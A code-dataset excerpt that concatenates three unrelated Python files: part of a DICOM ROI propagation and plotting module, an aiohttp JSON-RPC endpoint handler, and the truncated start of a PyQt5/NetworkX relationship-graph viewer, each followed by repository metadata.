representation \n following the propagation, i.e.:\n Source Pixel data/array(s) --> Label image(s) \n Propagated to the Target domain\n Target Label image(s) --> Pixel array(s)/data\n \n Source contour data will be converted to SimpleITK Image(s) via an \n intermediate conversion to pixel data, and back to the contour data\n representation following propagation via an intermediate conversion to\n pixel data, i.e.:\n Source Contour data --> Pixel array(s) --> Label image(s) \n Propagated to the Target domain\n Target Label image(s) --> Pixel array(s) --> Contour data\n \n Even when label images are transformed (i.e. resampled rather than \n registred) the prefix 'res' will be used since further operations will\n need to be applied to either resampled or transformed label images, and\n hence it's useful for instance attribute names to be consistent. \n \"\"\"\n \n timingMsg = \"* Copying/propagating the entity from the source to \" +\\\n \"target image domain...\\n\"\n params.add_timestamp(timingMsg)\n \n cfgDict = params.cfgDict\n \n useCase = cfgDict['useCaseToApply']\n #roicolMod = cfgDict['roicolMod']\n #resInterp = cfgDict['resInterp']\n #applyPreResBlur = cfgDict['applyPreResBlur']\n #preResVar = cfgDict['preResVar']\n #applyPostResBlur = cfgDict['applyPostResBlur']\n #postResVar = cfgDict['postResVar']\n useDroForTx = cfgDict['useDroForTx']\n #regTxName = cfgDict['regTxName']\n p2c = cfgDict['p2c']\n \n #srcLabimByRoi = srcDataset.labimByRoi\n #srcF2SindsByRoi = srcDataset.f2sIndsBySeg\n #srcIm = srcDataset.image\n #trgIm = trgDataset.image\n \n \n if p2c:\n print(f\"params.cfgDict['runID'] = {params.cfgDict['runID']}\")\n print(f'useCase = {useCase}')\n print(f'useDroForTx = {useDroForTx}\\n')\n \n if useCase in ['1', '2a']:\n \"\"\" \n NRP copy without resampling or registration transformation.\n \"\"\"\n if p2c:\n print('Running useCase in [\"1\", \"2a\"]\\n')\n # Make a non-relationship-preserving copy:\n self.make_non_relationship_preserving_copy(\n srcDataset, trgDataset, params\n )\n \n if useCase == '2b':\n \"\"\" \n RP copy/propagation without resampling or registration \n transformation.\n \"\"\"\n if p2c:\n print('Running useCase = \"2b\"\\n')\n # Make a relationship-preserving copy:\n self.make_relationship_preserving_copy(\n params, srcDataset, trgDataset\n )\n \n if useCase in ['3a', '3b', '4a', '4b']:\n \"\"\"\n NRP copy (3a, 4a) or RP propagation (3b, 4b) by resampling using\n the identity transform.\n \"\"\"\n if p2c:\n print('Running useCase in [\"3a\", \"3b\", \"4a\" and \"4b\"]\\n')\n \n self.resample_src_labims(srcDataset, trgDataset, params)\n \n \"\"\" \n Although resampling of the source image to the target domain is \n not required for copying/propagating the source ROI Collection to \n the target domain, it is useful to have the resampled source image \n (e.g. for overlays of the resampled ROI Collection on the resampled\n DICOM image).\n \"\"\" \n self.resIm = resample_im(\n srcDataset.dcmIm, refIm=trgDataset.dcmIm,\n sitkTx=self.resTx, p2c=params.cfgDict['p2c']\n )\n \n self.resDcmPixarr = sitk.GetArrayViewFromImage(self.resIm)\n \n if p2c:\n # Plot resampled result:\n midInd = trgDataset.dcmIm.GetSize()[2] // 2\n \n compare_res_results(\n im0=trgDataset.dcmIm, im1=self.resIm, k=midInd,\n title0='Target image', title1='Resampled image'\n )\n \n if useCase in ['5a', '5b']:\n \"\"\"\n NRP copy (5a) or RP propagation (5b) with registration \n transformation.\n \"\"\"\n if p2c:\n print('Running useCase in [\"5a\", \"5b\"]\\n')\n \n #if dro == None or (dro != None and useDroForTx): # 01/09/21\n if dro == None or (dro != None and not useDroForTx): # 01/09/21\n \"\"\"\n No suitable DRO was found on XNAT or user wishes to \n override the DRO and perform image registration.\n \"\"\"\n \n if (p2c and dro != None and useDroForTx):\n print('Image registeration will be performed instead',\n 'of using the DRO from XNAT.\\n')\n \n self.register_image(srcDataset, trgDataset, params)\n #self.plot_res_results(srcDataset, trgDataset, params)\n #self.plot_roi_over_dicom_im(srcDataset, trgDataset, params)\n else:\n # TODO register_image creates self.dcmIm and self.dcmPixarr,\n # but those attributes aren't created in this case...\n \"\"\"\n A suitable DRO was found on XNAT to bypass image \n registration.\n \"\"\"\n \n self.create_tx_from_dro(srcDataset, trgDataset, dro, params)\n \n # Resample the source label images using the registration \n # transform (i.e. transform the source label images):\n self.resample_src_labims(srcDataset, trgDataset, params)\n \n if useCase in ['3a', '4a', '5a']:\n self.make_non_relationship_preserving_propagation(\n srcDataset, trgDataset, params\n )\n \n \n if useCase in ['3b', '4b', '5b']:\n #self.pixarrBySeg = self.resPixarrByRoi\n #self.f2sIndsBySeg = self.resF2SindsByRoi\n \n self.make_relationship_preserving_propagation(\n srcDataset, trgDataset, params\n )\n \n \"\"\"\n The conversion is done within \n make_non_relationship_preserving_propagation() and\n make_relationship_preserving_propagation().\n if (useCase in ['3a', '3b', '4a', '4b', '5a', '5b'] and\n roicolMod == 'RTSTRUCT'):\n # Convert from pixel array data to contour data:\n print('\\nNeed to convert from pixel array to contour data...')\n \"\"\"\n \n #timingMsg = \"Took [*] to copy/propagate the source entity to the \"+\\\n # \"target image domain.\\n\"\n #params.add_timestamp(timingMsg)\n \n def export_labims(self, srcDataset, trgDataset, params):\n \"\"\" \n Export source, target and new label images (for all ROIs/segments).\n \"\"\"\n \n print('* Exporting label images..\\n')\n timingMsg = \"* Exporting the label images...\\n\"\n params.add_timestamp(timingMsg)\n \n cfgDict = params.cfgDict\n \n labimExportDir = cfgDict['labimExportDir']\n runID = cfgDict['runID']\n \n if not os.path.isdir(labimExportDir):\n Path(labimExportDir).mkdir(parents=True)\n \n dateTime = time.strftime(\"%Y%m%d_%H%M%S\", time.gmtime())\n \n # List of datasets, names and label images-by-ROI:\n dsets = [srcDataset, trgDataset, self]\n \n dsetNames = ['src', 'trg', 'new']\n \n listOfLabimByRoi = [dset.labimByRoi for dset in dsets]\n \n for labimByRoi, dsName in zip(listOfLabimByRoi, dsetNames):\n if labimByRoi:\n for r in range(len(labimByRoi)):\n fname = f'{runID}_{dsName}Labim_{r}_{dateTime}'\n \n export_im(\n labimByRoi[r], filename=f'{fname}{r}',\n fileFormat='HDF5ImageIO', exportDir=labimExportDir\n )\n \n timingMsg = \"Took [*] to export the label images.\\n\"\n params.add_timestamp(timingMsg)\n \n def export_txs_and_params(self, srcDataset, trgDataset, params):\n \n print('* Exporting transforms and transform parameters..\\n')\n timingMsg = \"* Exporting transforms and transform parameters...\\n\"\n params.add_timestamp(timingMsg)\n \n cfgDict = params.cfgDict\n \n txExportDir = cfgDict['txExportDir']\n runID = cfgDict['runID']\n useCaseToApply = cfgDict['useCaseToApply']\n useDroForTx = cfgDict['useDroForTx']\n regTxName = cfgDict['regTxName']\n \n if not os.path.isdir(txExportDir):\n Path(txExportDir).mkdir(parents=True)\n \n #srcLabimByRoi = srcDataset.labimByRoi\n #trgLabimByRoi = trgDataset.labimByRoi\n #newLabimByRoi = self.labimByRoi\n \n resTx = self.resTx\n initRegTx = self.initRegTx\n preRegTx = self.preRegTx\n \n #resTxParams = self.resTxParams\n #initRegTxParams = self.initRegTxParams\n #preRegTxParams = self.preRegTxParams\n \n dateTime = time.strftime(\"%Y%m%d_%H%M%S\", time.gmtime())\n \n # Prepare filenames:\n if useCaseToApply in ['3a', '3b', '4a', '4b']:\n resFname = f'{runID}_resTx'\n \n elif useCaseToApply in ['5a', '5a']:\n if useDroForTx:\n resFname = f'{runID}_regTx_{regTxName}_from_DRO'\n \n if regTxName == 'bspline':\n preRegFname = '{runID}_pre_regTx_from_DRO'\n \n else:\n resFname = f'{runID}_regTx_{regTxName}'\n initRegFname = 'init_regTx'\n \n # List of transforms to export and their names:\n txs = [resTx, initRegTx, preRegTx]\n fnames = [resFname, initRegFname, preRegFname]\n \n for tx, fname in zip(txs, fnames):\n if tx: # is not None\n fname += f'_{dateTime}'\n \n # Export tx as a TFM:\n fpath = os.path.join(txExportDir, fname + '.tfm')\n sitk.WriteTransform(tx, fpath)\n \n # Export tx as HDF:\n fpath = os.path.join(txExportDir, fname + '.hdf')\n sitk.WriteTransform(tx, fpath)\n \n # Export the tx parameters as a TXT:\n export_list_to_txt(\n items=tx.GetParameters(),\n filename=fname,\n exportDir=txExportDir\n )\n \n timingMsg = \"Took [*] to export transforms and transform parameters.\\n\"\n params.add_timestamp(timingMsg)\n \n def plot_roi_over_dicom_im(self, srcDataset, trgDataset, params):\n \"\"\" \n Plot along columns:\n col 1 : Src points (srcDataset.ptsByCntByRoi) or pixel arrays \n (srcDataset.pixarrBySeg) over Src DICOM image \n (srcDataset.dcmIm)\n col 2 : Src points or pixel arrays copied/propagated to Trg domain \n (self.ptsByCntByRoi or self.pixarrBySeg) over Trg DICOM image \n (trgDataset.dcmIm)\n \n for use cases 1-2; or\n \n col 1 : Src points (srcDataset.ptsByCntByRoi) or pixel arrays \n (srcDataset.pixarrBySeg) over Src DICOM image \n (srcDataset.dcmIm)\n col 2 : Src points or pixel arrays copied/propagated to Trg domain \n (self.ptsByCntByRoi or self.pixarrBySeg) over Src-to-Trg \n resampled/registered/transformed DICOM image (self.dcmIm)\n col 3 : Src points or pixel arrays copied/propagated to Trg domain \n (self.ptsByCntByRoi or self.pixarrBySeg) over Trg DICOM image \n (trgDataset.dcmIm)\n \n for use cases 3-5.\n \"\"\"\n \n \"\"\"\n Plot both contours and the segmentations that were converted to the \n contours (plotMasksForRts = True), or only the contours \n (plotMasksForRts = False)?\n \n This only applies to use cases for which the source label image was\n resampled/registered to the target domain AND the ROI Collection is\n RTSTRUCT.:\n \"\"\"\n plotMasksForRts = False\n plotMasksForRts = True\n \n print('* Plotting the source and target entities over DICOM images..\\n')\n timingMsg = \"* Plotting the source and target entities over DICOM \" +\\\n \"images...\\n\"\n params.add_timestamp(timingMsg)\n \n cfgDict = params.cfgDict\n runID = cfgDict['runID']\n roicolMod = cfgDict['roicolMod']\n exportPlot = cfgDict['exportPlots']\n p2c = cfgDict['p2c']\n p2c = False\n useCaseToApply = cfgDict['useCaseToApply']\n #forceReg = cfgDict['forceReg']\n useDroForTx = cfgDict['useDroForTx']\n regTxName = cfgDict['regTxName']\n initMethod = cfgDict['initMethod']\n resInterp = cfgDict['resInterp']\n #trgIm = trgDataset.image\n #resIm = newDataset.image # resampled source or source-registered-to-target \n \n #resExportDir = cfgDict['resPlotsExportDir']\n \n #fontSize = 11\n fontSize = 10\n \n # Prepare plot title for overlays over trgDataset.dcmIm and over \n # self.dcmIm (= the new dataset):\n if roicolMod == 'RTSTRUCT':\n roiExportDir = cfgDict['rtsPlotsExportDir']\n \n srcTitle = 'Src pts '\n else:\n roiExportDir = cfgDict['segPlotsExportDir']\n \n srcTitle = 'Src pixarr '\n \n if useCaseToApply in ['1', '2a']:\n newTitle = srcTitle + 'NRPC to Trg over New im '\n elif useCaseToApply == '2b':\n newTitle = srcTitle + 'RPC to Trg over New im '\n elif useCaseToApply in ['3a', '4a']:\n newTitle = srcTitle + 'NRPP to Trg over New im ' +\\\n f'\\n(res, {resInterp})'\n elif useCaseToApply in ['3b', '4b']:\n newTitle = srcTitle + 'RPP to Trg over New im ' +\\\n f'\\n(res, {resInterp})'\n elif useCaseToApply == '5a':\n if useDroForTx:\n newTitle = srcTitle + 'NRPP to Trg over New im ' +\\\n f'\\n({regTxName} DRO, {resInterp})'\n else:\n newTitle = srcTitle + 'NRPP to Trg over New im ' +\\\n f'\\n({regTxName} reg, {initMethod}, {resInterp})'\n elif useCaseToApply == '5b':\n if useDroForTx:\n newTitle = srcTitle + 'RPP to Trg over New im ' +\\\n f'\\n({regTxName} DRO, {resInterp})'\n else:\n newTitle = srcTitle + 'RPP to Trg over New im ' +\\\n f'\\n({regTxName} reg, {initMethod}, {resInterp})'\n \n trgTitle = newTitle.replace('New', 'Trg')\n srcTitle += 'over Src im'\n \n if useCaseToApply in ['1', '2a', '2b']:\n listOfC2SindsByRoi = [srcDataset.c2sIndsByRoi, self.c2sIndsByRoi]\n listOfPtsByCntByRoi = [srcDataset.ptsByCntByRoi, self.ptsByCntByRoi]\n listOfF2SindsBySeg = [srcDataset.f2sIndsBySeg, self.f2sIndsBySeg]\n listOfPixarrBySeg = [srcDataset.pixarrBySeg, self.pixarrBySeg]\n listOfIms = [srcDataset.dcmIm, trgDataset.dcmIm]\n listOfDcmPixarr = [srcDataset.dcmPixarr, trgDataset.dcmPixarr]\n listOfIPPs = [srcDataset.imPositions, trgDataset.imPositions]\n listOfPlotTitles = [srcTitle, trgTitle]\n else:\n listOfC2SindsByRoi = [\n srcDataset.c2sIndsByRoi, self.c2sIndsByRoi, self.c2sIndsByRoi\n ]\n listOfPtsByCntByRoi = [\n srcDataset.ptsByCntByRoi, self.ptsByCntByRoi, self.ptsByCntByRoi\n ]\n if roicolMod == 'RTSTRUCT' and plotMasksForRts:\n listOfF2SindsBySeg = [\n srcDataset.f2sIndsByRoi, self.f2sIndsByRoi, self.f2sIndsByRoi\n ]\n listOfPixarrBySeg = [\n srcDataset.pixarrByRoi, self.pixarrByRoi, self.pixarrByRoi\n ]\n else:\n listOfF2SindsBySeg = [\n srcDataset.f2sIndsBySeg, self.f2sIndsBySeg, self.f2sIndsBySeg\n ]\n listOfPixarrBySeg = [\n srcDataset.pixarrBySeg, self.pixarrBySeg, self.pixarrBySeg\n ]\n listOfIms = [srcDataset.dcmIm, self.resIm, trgDataset.dcmIm]\n listOfDcmPixarr = [\n srcDataset.dcmPixarr, self.resDcmPixarr, trgDataset.dcmPixarr\n ]\n listOfIPPs = [\n srcDataset.imPositions, self.imPositions, trgDataset.imPositions\n ]\n listOfPlotTitles = [srcTitle, newTitle, trgTitle]\n \n \n # Prepare filename for exported plot:\n \n #currentDateTime = time.strftime(\"%Y%m%d_%H%M%S\", time.gmtime())\n \n if useDroForTx:\n fname = f'{runID}_DRO'\n else:\n fname = f'{runID}_'\n fname += trgTitle.replace(' ', '_').replace(',', '')\n fname = fname.replace('(', '').replace(')', '').replace('\\n', '')\n #fname += f'_{currentDateTime}'\n \n plot_pts_and_pixarr(\n listOfIms=listOfIms, \n listOfDcmPixarr=listOfDcmPixarr, \n listOfF2SindsBySeg=listOfF2SindsBySeg,\n listOfPixarrBySeg=listOfPixarrBySeg,\n listOfC2SindsByRoi=listOfC2SindsByRoi,\n listOfPtsByCntByRoi=listOfPtsByCntByRoi, \n listOfIPPs=listOfIPPs,\n listOfPlotTitles=listOfPlotTitles,\n fontSize=fontSize, exportPlot=exportPlot, exportDir=roiExportDir, \n exportFname=fname, p2c=p2c\n )\n \n timingMsg = \"Took [*] to plot the source and target entities \" +\\\n \"over the DICOM images.\\n\"\n params.add_timestamp(timingMsg)\n \n def plot_metric_v_iters(self, params):\n \"\"\" \n Plot the metric values v iterations from the registeration.\n \n Note that metric values will only exist if registration was performed,\n so this plot will only be produced if useDroForTx = False.\n \"\"\"\n \n cfgDict = params.cfgDict\n useCaseToApply = cfgDict['useCaseToApply']\n useDroForTx = cfgDict['useDroForTx']\n \n if '5' in useCaseToApply and not useDroForTx:\n runID = cfgDict['runID']\n exportPlot = cfgDict['exportPlots']\n #p2c = cfgDict['p2c']\n #forceReg = cfgDict['forceReg']\n \n regTxName = cfgDict['regTxName']\n initMethod = cfgDict['initMethod']\n resInterp = cfgDict['resInterp']\n \n resExportDir = cfgDict['resPlotsExportDir']\n \n #print(useCaseToApply)\n \n metricValues = self.metricValues\n multiresIters = self.multiresIters\n \n #print(f'metricValues = {self.metricValues}\\n')\n #print(f'multiresIters = {self.multiresIters}\\n')\n \n print('* Plotting metric v iterations from registeration..\\n')\n \n # Prepare plot title:\n resTitle = f'Metric v iters for Src reg to Trg ({regTxName}, '\\\n + f'{initMethod}, {resInterp})'\n \n # Prepare filename for exported plot:\n fname = f'{runID}_' + resTitle.replace(' ', '_').replace(',', '')\n fname = fname.replace('(', '').replace(')', '')\n \n plot_metricValues_v_iters(\n metricValues=metricValues, multiresIters=multiresIters, \n exportPlot=exportPlot, exportDir=resExportDir,\n fname=fname\n )\n \n def plot_res_results(self, srcDataset, trgDataset, params):\n \"\"\" \n Plot a single slice from trgIm and resIm and compare to assess result\n of resampling/registering.\n \"\"\"\n \n cfgDict = params.cfgDict\n runID = cfgDict['runID']\n #roicolMod = cfgDict['roicolMod']\n exportPlot = cfgDict['exportPlots']\n #p2c = cfgDict['p2c']\n useCaseToApply = cfgDict['useCaseToApply']\n #forceReg = cfgDict['forceReg']\n useDroForTx = cfgDict['useDroForTx']\n regTxName = cfgDict['regTxName']\n initMethod = cfgDict['initMethod']\n resInterp = cfgDict['resInterp']\n trgIm = trgDataset.dcmIm\n resIm = self.resIm # resampled source or source-registered-to-target \n alignedIm = self.alignedIm # pre-registration aligned image\n # (which may be None, e.g. if registration wasn't performed)\n \n resExportDir = cfgDict['resPlotsExportDir']\n \n #print(useCaseToApply)\n \n # Prepare plot title for the aligned image:\n aliTitle = f'Src aligned to Trg \\n({initMethod})'\n \n # Prepare plot title for the resampled/registered image:\n if useCaseToApply in ['3a', '3b', '4a', '4b', '5a', '5b']:\n print('* Plotting resampled/registered results..\\n')\n \n resTitle = 'Src '\n if useCaseToApply in ['3a', '3b', '4a', '4b']:\n resTitle += f'res to Trg \\n({resInterp})'\n elif useCaseToApply in ['5a', '5b']:\n if useDroForTx:\n resTitle += f'tx to Trg \\n({regTxName} DRO, {resInterp})'\n else:\n resTitle += f'reg to Trg \\n({regTxName}, {initMethod}, '\\\n + f'{resInterp})'\n \n midInd = trgIm.GetSize()[2] // 2\n \n # List of images to plot and the plot titles:\n images = [alignedIm, resIm]\n titles = [aliTitle, resTitle]\n \n for image, title in zip(images, titles):\n if image: # i.e. not None\n # Prepare filename for exported plot:\n fname = f'{runID}_' + \\\n title.replace(' ', '_').replace(',', '')\n fname = fname.replace('(', '').replace(')', '')\n fname = fname.replace('\\n', '')\n \n compare_res_results(\n im0=trgIm, im1=image, k=midInd,\n title0='Target image', title1=title,\n exportPlot=exportPlot, exportDir=resExportDir,\n fname=fname\n )\n \n def print_summary_of_results(self, srcDataset, trgDataset):\n \n dsets = [srcDataset, trgDataset, self]\n dsetNames = ['srcDataset', 'trgDataset', 'self']\n \n print('\\n')\n for dset, name in zip(dsets, dsetNames):\n print(f'\\n*** Summary of results for {name}:')\n print(f'\\n{name}.f2sIndsBySeg:')\n print_indsByRoi(dset.f2sIndsBySeg)\n print(f'\\n{name}.pixarrBySeg:')\n print_pixarrBySeg(dset.pixarrBySeg)\n print(f'\\n{name}.labimBySeg:')\n print_labimBySeg(dset.labimBySeg)\n print(f'\\n{name}.c2sIndsByRoi:')\n print_indsByRoi(dset.c2sIndsByRoi)\n print(f'\\n{name}.ptsByCntByRoi:')\n print_ptsByCntByRoi(dset.ptsByCntByRoi)\n print(f'\\n{name}.f2sIndsByRoi:')\n print_indsByRoi(dset.f2sIndsByRoi)\n print(f'\\n{name}.pixarrByRoi:')\n print_pixarrBySeg(dset.pixarrByRoi)\n print(f'\\n{name}.labimByRoi:')\n print_labimBySeg(dset.labimByRoi)","repo_name":"ncita-repository/WP1.3_multiple_modalities","sub_path":"src/io_tools/propagate.py","file_name":"propagate.py","file_ext":"py","file_size_in_byte":92420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73735668002","text":"import json\nimport logging\nimport traceback\nimport sys\nfrom traceback import format_exception, format_exception_only\nfrom enum import Enum\nfrom time import time\nfrom typing import Callable, Union, Any, Optional\nfrom aiohttp import web\n\nPROTOCOL_VERSION = \"2.0\"\n\nUNKNOWN_ERROR = \"Unknown Error\"\n\nDEFAULT_LOGGER = logging.getLogger(\"aiohttp.jsonrpc\")\n\n\nclass Errors(Enum):\n PARSE_ERROR = -32700\n INVALID_REQUEST = -32600\n METHOD_NOT_FOUND = -32601\n INVALID_PARAMS = -32602\n INTERNAL_ERROR = -32603\n\n def message(self) -> str:\n return ERROR_MESSAGES.get(self, UNKNOWN_ERROR)\n\n\nERROR_MESSAGES = {\n Errors.PARSE_ERROR: \"Parse error\",\n Errors.INVALID_REQUEST: \"Invalid request\",\n Errors.METHOD_NOT_FOUND: \"Method not found\",\n Errors.INVALID_PARAMS: \"Invalid params\",\n Errors.INTERNAL_ERROR: \"Internal error\",\n}\n\n\nclass JsonRpcError(RuntimeError):\n def __init__(\n self,\n code: Optional[Union[Errors, int]] = Errors.INTERNAL_ERROR,\n message: Optional[str] = None,\n detail: Optional[Any] = None,\n rid: Optional[Union[int, str]] = None,\n ):\n super().__init__()\n self.code = code # type: Errors\n\n if isinstance(code, Errors):\n self.message = message or code.message()\n else:\n self.message = message or UNKNOWN_ERROR\n\n self.data = {}\n if detail:\n self.data[\"detail\"] = detail\n\n self.rid = rid\n\n def error_content(self) -> dict:\n if isinstance(self.code, Errors):\n code = self.code.value\n else:\n code = self.code\n content = {\"code\": code, \"message\": self.message}\n if self.data:\n content[\"data\"] = self.data\n return content\n\n def http_response(self) -> web.Response:\n return web.json_response(self.response_content())\n\n def response_content(self) -> dict:\n content = {\n \"jsonrpc\": PROTOCOL_VERSION,\n \"error\": self.error_content(),\n }\n if self.rid:\n content[\"id\"] = self.rid\n return content\n\n def set_context(self, request=None, rid=None):\n if request:\n self.data[\"request\"] = request\n if rid:\n self.rid = rid\n\n def with_traceback(self, exc_info=None, traceback_exception=None):\n if not traceback_exception:\n traceback_exception = traceback.TracebackException(*(exc_info or sys.exc_info()))\n self.data[\"traceback_exception\"] = \"\".join(traceback_exception.format()).split(\"\\n\")\n return self\n\n\ndef exc_message(exp):\n return \"\".join(format_exception_only(exp.__class__, exp)).strip()\n\n\nclass JsonRpcEndpoint:\n \"\"\" JSON RPC requests handler. \"\"\"\n\n def __init__(self, debug=False, logger=DEFAULT_LOGGER):\n self.methods = {}\n self.docs = {}\n self.debug = debug\n self.logger = logger\n\n async def handle_request(self, request: web.Request) -> web.Response:\n request_time = int(time() * 1000)\n try:\n # Check if the Content-Type and Accept headers both are presented\n # and contain 'application/json'\n\n if request.headers[\"Content-Type\"] != \"application/json\":\n raise web.HTTPUnsupportedMediaType(reason=\"Invalid Content-Type\")\n if request.headers[\"Accept\"] != \"application/json\":\n raise web.HTTPNotAcceptable(reason=\"Invalid Accept header\")\n except KeyError as exp:\n reason = \"{} header is required\".format(exc_message(exp))\n raise web.HTTPNotAcceptable(reason=reason)\n\n try:\n request_data = await request.json()\n except json.JSONDecodeError:\n exp = JsonRpcError(Errors.PARSE_ERROR)\n self.log_request(request, request_time, \"invalid\", exp)\n return exp.http_response()\n\n try:\n if isinstance(request_data, list):\n response_data = await self.process_batch_rpc(request_data)\n self.log_request(request, request_time)\n return web.json_response(response_data)\n response_data = await self.process_single_rpc(request_data)\n self.log_request(request, request_time, request_data[\"method\"])\n return web.json_response(response_data)\n except JsonRpcError as exp:\n exp.set_context(request_data)\n self.log_request(\n request, request_time, request_data.get(\"method\", \"unknown/invalid\"), exp\n )\n return exp.http_response()\n\n def log_request(\n self,\n request: web.Request,\n request_timestamp: int,\n method: str = None,\n exp: JsonRpcError = None,\n ):\n message = \"{} JSON RPC {} request done in {}ms: {}\".format(\n request.remote,\n method or \"batch\",\n int(time() * 1000) - request_timestamp,\n exp.message if exp else \"OK\",\n )\n if exp:\n self.logger.error(message)\n else:\n self.logger.info(message)\n\n async def process_single_rpc(self, rpc_data: dict) -> dict:\n try:\n protocol_version = rpc_data[\"jsonrpc\"]\n method_name = rpc_data[\"method\"]\n params = rpc_data.get(\"params\", [])\n rid = rpc_data.get(\"id\", None)\n except KeyError:\n raise JsonRpcError(Errors.INVALID_REQUEST)\n\n if protocol_version != PROTOCOL_VERSION:\n raise JsonRpcError(\n Errors.INVALID_REQUEST, detail=f\"Unsupported protocol version {protocol_version}\",\n )\n\n if method_name not in self.methods:\n raise JsonRpcError(Errors.METHOD_NOT_FOUND, rid=rid)\n\n if not isinstance(params, (list, dict, None)):\n raise JsonRpcError(Errors.INVALID_PARAMS, rid=rid)\n\n try:\n if isinstance(params, list):\n result = await self.methods[method_name](*params)\n else:\n result = await self.methods[method_name](**params)\n except JsonRpcError as exc:\n exc.set_context(rid=rid)\n raise exc\n except TypeError as exc:\n new_exp = JsonRpcError(Errors.INVALID_PARAMS, rid=rid, detail=exc_message(exc))\n raise new_exp.with_traceback() if self.debug else new_exp\n except Exception: # pylint: disable=broad-except\n exp_class, exc, trace = sys.exc_info()\n logger = logging.getLogger(\"aiohttp.server\")\n logger.error(\"\".join(format_exception(exp_class, exc, trace)))\n new_exc = JsonRpcError(detail=exc_message(exc), rid=rid)\n if self.debug:\n raise new_exc.with_traceback()\n raise new_exc\n\n if not rid:\n raise web.HTTPAccepted()\n\n return {\"jsonrpc\": protocol_version, \"result\": result, \"id\": rid}\n\n async def process_batch_rpc(self, batch_data: list) -> list:\n response_content = []\n for rpc in batch_data:\n try:\n response_content.append(await self.process_single_rpc(rpc))\n except web.HTTPAccepted:\n pass\n except JsonRpcError as exp:\n exp.set_context(rpc)\n response_content.append(exp.response_content())\n return response_content\n\n def register_method(self, handler: Callable, name: str = None, docstring: str = None):\n \"\"\"Register method for the endpoint\n\n Arguments:\n handler {Callable} -- method coroutine\n\n Keyword Arguments:\n name {str} -- method name, if None coroutine function name is used (default: {None})\n docstring {str} -- docstring (default: {None})\n\n Returns:\n JsonRpcEndpoint -- endpoint self instance\n \"\"\"\n name = name or handler.__name__\n self.methods[name] = handler\n if docstring:\n self.docs[name] = docstring\n return self\n\n def route(self, path: str) -> web.RouteDef:\n \"\"\"Get endpoint route definition\n\n Arguments:\n path {str} -- HTTP query path\n\n Returns:\n web.RouteDef -- endpoint route definition\n \"\"\"\n return web.post(path, self.handle_request)\n","repo_name":"k-vinogradov/osjsonrpc","sub_path":"osjsonrpc/jsonrpc.py","file_name":"jsonrpc.py","file_ext":"py","file_size_in_byte":8227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4377971013","text":"\r\nimport sys\r\nimport pandas as pd\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QLineEdit, QPushButton, QVBoxLayout,QHBoxLayout, QWidget,QLabel\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\r\nimport matplotlib.font_manager as fm\r\n\r\n\r\nclass GraphViewer(QMainWindow): \r\n def __init__(self):\r\n super().__init__()\r\n\r\n data = pd.read_csv('relation.csv',index_col=0)\r\n print(data)\r\n df = data.fillna(0) # NaN 값을 0으로 넣어주기\r\n listA = [] # 빈리스트 만들기\r\n for i in df.columns:\r\n for j in df.index:\r\n if df[i][j] != 0: # 호감도가 0이면 엣지 연결 안하기 위해서\r\n tupleA = (i,j,df[i][j])\r\n listA.append(tupleA)\r\n print(listA)\r\n\r\n g = nx.Graph()\r\n\r\n for node1, node2, score in listA:\r\n g.add_edge(node1, node2, weight = score) # node 모두 연결\r\n\r\n \r\n \r\n self.graph = g\r\n self.pos = nx.spring_layout(self.graph) # 초기 노드 위치\r\n\r\n self.setGeometry(100, 100, 800, 600)\r\n self.setWindowTitle(\"NetworkX Graph Viewer\")\r\n\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.target=''\r\n self.source=''\r\n\r\n # QWidget 클래스의 인스턴스를 생성\r\n self.central_wiget = QWidget() # 컨네이너 역할\r\n\r\n # QMainWindow의 중앙 위젯을 설정\r\n # QMainWindow의 중앙 영역에 self.central_widget에 할당한 QWidget 인스턴스가 배치된다.\r\n self.setCentralWidget(self.central_wiget) \r\n\r\n self.canvas = FigureCanvas(plt.figure()) # 캔버스 생성\r\n\r\n # self.label1 = QLable(\"시작\")\r\n # self.label2 = QLable(\" 끝 \")\r\n\r\n \r\n\r\n # 입력 위젯 2개\r\n self.text_input = QLineEdit(self)\r\n self.text_input.setPlaceholderText(\"Enter a number\")\r\n self.text_input2 = QLineEdit(self)\r\n self.text_input2.setPlaceholderText(\"Enter a number\")\r\n\r\n # 라벨 2개\r\n label1 = QLabel('시작 : ',self)\r\n label2 = QLabel('끝 : ',self)\r\n \r\n self.label3 = QLabel(' ',self)\r\n self.label4 = QLabel(' ',self)\r\n\r\n # 입력 완료 버튼\r\n self.update_button = QPushButton(\"Update Graph\" , self)\r\n self.update_button.clicked.connect(self.update_graph)\r\n\r\n hbox1 = QHBoxLayout()\r\n hbox1.addWidget(label1)\r\n hbox1.addWidget(self.text_input)\r\n hbox1.addWidget(self.label3)\r\n hbox2 = QHBoxLayout()\r\n hbox2.addWidget(label2)\r\n hbox2.addWidget(self.text_input2)\r\n hbox2.addWidget(self.label4)\r\n\r\n\r\n\r\n layout = QVBoxLayout()\r\n \r\n layout.addWidget(self.canvas)\r\n layout.addLayout(hbox1)\r\n layout.addLayout(hbox2)\r\n layout.addWidget(self.update_button)\r\n\r\n self.central_wiget.setLayout(layout)\r\n\r\n # self.setCentralWidget(self.canvas) # 캔버스를 중앙 위젯으로 설정\r\n \r\n self.canvas.mpl_connect('button_press_event', self.on_press) # 이벤트 핸들러 (노드를 눌렀을 떄)\r\n self.canvas.mpl_connect('motion_notify_event', self.on_motion) # 이벤트 핸들러 (노드를 움직일 떄)\r\n self.canvas.mpl_connect('button_release_event', self.on_release) # 이벤트 핸들러 (노드를 놨을 때)\r\n self.update_button.clicked.connect(self.targetAndSorce)\r\n\r\n self.update_graph() # 초기 그래프 업데이트\r\n\r\n self.dragging = False\r\n self.selected_node = None\r\n\r\n \r\n def update_graph(self):\r\n if self.target!='' and self.source!='':\r\n self.canvas.figure.clf() # 기존 그래프 지우기\r\n ax = self.canvas.figure.add_subplot(111)\r\n\r\n # source = '주인'\r\n # target = '부하1'\r\n all_paths = nx.all_simple_edge_paths(self.graph,source=self.source, target= self.target)\r\n path_list = []\r\n for path in all_paths:\r\n for node in path:\r\n for a in node:\r\n path_list.append(a)\r\n\r\n path_list=list(set(path_list))\r\n print(path_list)\r\n\r\n edge_labels = {(u, v): d['weight'] for u, v, d 